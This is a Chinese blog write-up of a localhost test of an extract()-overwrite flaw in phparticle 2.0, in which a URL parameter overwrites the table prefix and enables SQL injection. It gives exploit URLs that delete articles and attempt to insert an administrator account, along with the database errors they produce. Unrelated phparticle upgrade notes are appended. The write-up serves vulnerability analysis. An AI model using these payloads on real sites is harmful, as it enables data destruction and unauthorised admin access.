phparticle 2.0注入漏洞测试分析

phparticle是PHP中最好的文章系统了,好像至今还没有被黑的记录,我以前学习PHP的时候就是看这个文章系统的代码,感觉和VBB很相似,而且也仔细分析过,没有什么漏洞,后来掌握PHP后,也就没有再去分析他。给我的感觉是很安全的。

  前段时间小花和我说phparticle有一个变量没有初始化,我看了看,的确可以构造这个变量,而且任意一个页面都可以的,危害嘛,我没有能力拿到有意义的东西,但是要破坏简直轻而易举,唉,终于明白破坏比建设简单的原因了。

  /global.php文件开头是这样写的:

<?php
error_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}

require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";

//var_dump($configuration);
//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

  /admin/configs/setting.php文件中,变量$configuration是一个数组,是整个文章系统的配置参数,为了减少查询次数,把数据库的配置信息,写进文件,速度自然快很多,这个本来一切很正常很正常,但是一行代码,就足以让phparticle的数据可以瞬间消失。

extract($configuration,EXTR_OVERWRITE);

  extract()函数在PHP手册上是这么写的:


int extract ( array var_array [, int extract_type [, string prefix]])


本函数用来将变量从数组中导入到当前的符号表中。接受结合数组 var_array 作为参数并将键名当作变量名,值作为变量的值。对每个键/值对都会在当前的符号表中建立变量,并受到 extract_type 和 prefix 参数的影响。

注: 自版本 4.0.5 起本函数返回被提取的变量数目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引进的。

注: EXTR_REFS 是版本 4.3.0 中引进的。

extract() 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。对待非法/数字和冲突的键名的方法将根据 extract_type 参数决定。可以是以下值之一:


EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。


  很显然,这里可以覆盖任意变量,甚至系统变量,包括$_GET,$_POST等,真的不明白为什么作者要把上面那行给注释掉用这个“EXTR_OVERWRITE”。

  最关键的变量是admin/config.php下的$db_prefix变量,这是表前缀,这个是最有用的,因为phparticle里面的所有查询都会在表面使用这个变量,肯定能造成SQL注入,但条件极为苛刻。从表的前缀这里构造一个完整的SQL QUERY。然后把后面的语句给注释掉。呵呵,说不定还可以load_file或者into outfile,窃喜~~

  但是实际上并没有这么顺利,为了更清晰的测试。我就为所有的SQL QUERY设置了一个变量$sql,然后在系统的首页输出,来看看首先执行的SQL语句是什么,是SELECT就可以注入,这样能得到很多有用的信息。甚至……,如果是INSERT更好了,直接构造语句插入一个管理员,是UPDATE也可以,把我注册的用户UPDATE成管理员组的角色,是DELETE嘛,就可以删除任意数据,结果输出的语句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如图:

  非常恼火,如果这个DELETE语句错误的话,就会显示MYSQL的错误信息,并停止运行程序,根本不可能执行下一句SQL语句,恼火。而且phparticle的容错处理非常不错。没办法返回WEB的物理路径,如果当前的用户不是管理员,连MYSQL错误信息都不能看到,我在本地测试的,因为是管理员,所以MYSQL的出错信息都返回到屏幕上,对我们测试更加有帮助,咱们构造一个完整的DELETE语句看看,成功以后,应该会继续执行下一句SQL QUERY,我就随便提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=angel

  结果返回:

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

  错误了,表不存在,不过数据库名字已经出来了,就是article20,当然实际应用是看不到这些信息的,因为phparticle有比较完善的会话检查,所以不管浏览或是刷新任何一个页面,都会先对session表操作,删除用户的会话,更新会话,查询会话,都会有操作,因为用户登陆,在线用户,还有用户的状态,都是用session记录的,了解这些以后,开始构造一个完整的DELETE语句再看看下一步该怎么做:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*

  返回:

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:/"timezoneoffset/";s:1:/"8/";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

  再看看文章系统。文章已经成功删除。但是SQL QUERY却停留在SELECT上面了,而且出错信息已经终止了程序的运行,导致无法执行下一个SQL QUERY,但是从出错的页面看来,INSERT语句也用我们的参数执行了,如图:


点击查看原尺寸图片


  我就想能不能直接构造INSERT语句加一个管理员呢?

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

  结果返回,看来行不通,在第一句SQL QUERY的时候,就出错终止了。

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:


请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

  到了这个地步,我只能无奈的提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*

  结束了这次测试。

  看来这个phparticle宁死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,记得和我分享啊。

为达到最佳效果,推荐使用九网互联的PHP全能空间,支持Zend、MySQL。dz论坛整合演示http://bbs.utspeed.com2.2.0功能改动:1、分类页号倒排问题解决。2、phparticle 与 discuz!整合完成。3、phparticle seo 做了进一步优化。2.1.0升级到2.2.0的方法:升级前先备份你网站上的 templates\default\html\index.htm admin/config.php两个文件(或则你觉得需要备份的模板文件),loadsystem目录里面的文件。1)二进制方式上传所有文件.2)运行admin/update210-220.php3)升级后,需要重新设置一下您的后台的基本选项(比如系统所在地址)。4)拷贝备份的templates\default\html\index.htm文件,按照备份的admin/config.php重新配置你的数据库.根据备份的loadsystem目录里面的文件,重新配置你的整合的论坛数据库.5)设置你的默认整合的论坛(详细见后台)phpArticle HTML 2.2.0感谢大家一直以来对本程序的关心与支持,现在免费授权给个人用户使用权用,你将不必再付费即可安装与使用 phpArticle 2.2 文章管理系统,我们紧能在技术论坛中提供有限的技术支持,共同营造良好的交流环境,原已购买的商业用户将保持不变。祝大家使用愉快,在使用的同时,请大家尊重版权,不要删除相关的版权信息,如果在经济许可以情况下,希望您能购买本程序的商业版本,将可以获得更多的售后服务。免费版与商业版功能上是完全一样,商业用户可以获得最新的资料与售后服务,这是他们唯一的区别,本程序并没有任何加密,在使用的过程中,如果有任何问题,无论是使用问题,还是安装问题,或者发现 bug,欢迎一起探讨,共同发展!新版3.0仍在开发中,所有购买了2.0商业版本的用户将免费升级到3.0版本,如果你对新版的发展有任何建议,也欢迎提出!特别注意:使用本程序,请保留程序的版权,特别是网站链接,谢谢合作。////////////////////////////////////////////////////////////2.1.0升级到2.2.0的方法:升级前先备份你网站上的 templates\default\html\index.htm admin/config.php两个文件(或则你觉得需要备份的模板文件),loadsystem目录里面的文件。1)二进制方式上传所有文件.2)运行admin/update210-220.php3)升级后,需要重新设置一下您的后台的基本选项(比如系统所在地址)。4)拷贝备份的templates\default\html\index.htm文件,按照备份的admin/config.php重新配置你的数据库.根据备份的loadsystem目录里面的文件,重新配置你的整合的论坛数据库.5)设置你的默认整合的论坛(详细见后台)////////////////////////////////////////////////2.0.6升级到2.1.0的方法:升级前先备份你网站上的 index.php admin/config.php两个文件1)二进制方式上传所有文件(除了loadsystem里面的文件).2)运行admin/update206-210.php3)升级后,需要重新设置一下您的后台的基本选项(比如系统所在地址)。4)拷贝备份的index.php里面的标签到index.htm模板。(注意,这些首页调用全部都可以用新功能“标签”来替换,这样能够提高首页生成效率)/////////////////////////////////////////////////////////////////////2.0.5升级到2.0.6的方法:升级前先备份你网站上的 index.php admin/config.php两个文件1)二进制方式上传所有文件(除了loadsystem里面的文件).2)运行admin/update205-206.php3)升级后,需要重新设置一下您的后台的基本选项(比如系统所在地址)。4)拷贝备份的index.php里面的相关首页调用语句到新的系统。(注意,这些首页调用全部都可以用新功能“标签”来替换,这样能够提高首页生成效率)2.0.1 seo升级到2.0.5的方法:升级前先备份你网站上的 index.php admin/config.php两个文件1)二进制方式上传所有文件.2)运行admin/update-seo2v2.0.5.php3)升级后,需要重新设置一下您的后台的基本选项(比如系统所在地址)。4)拷贝备份的index.php里面的相关首页调
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值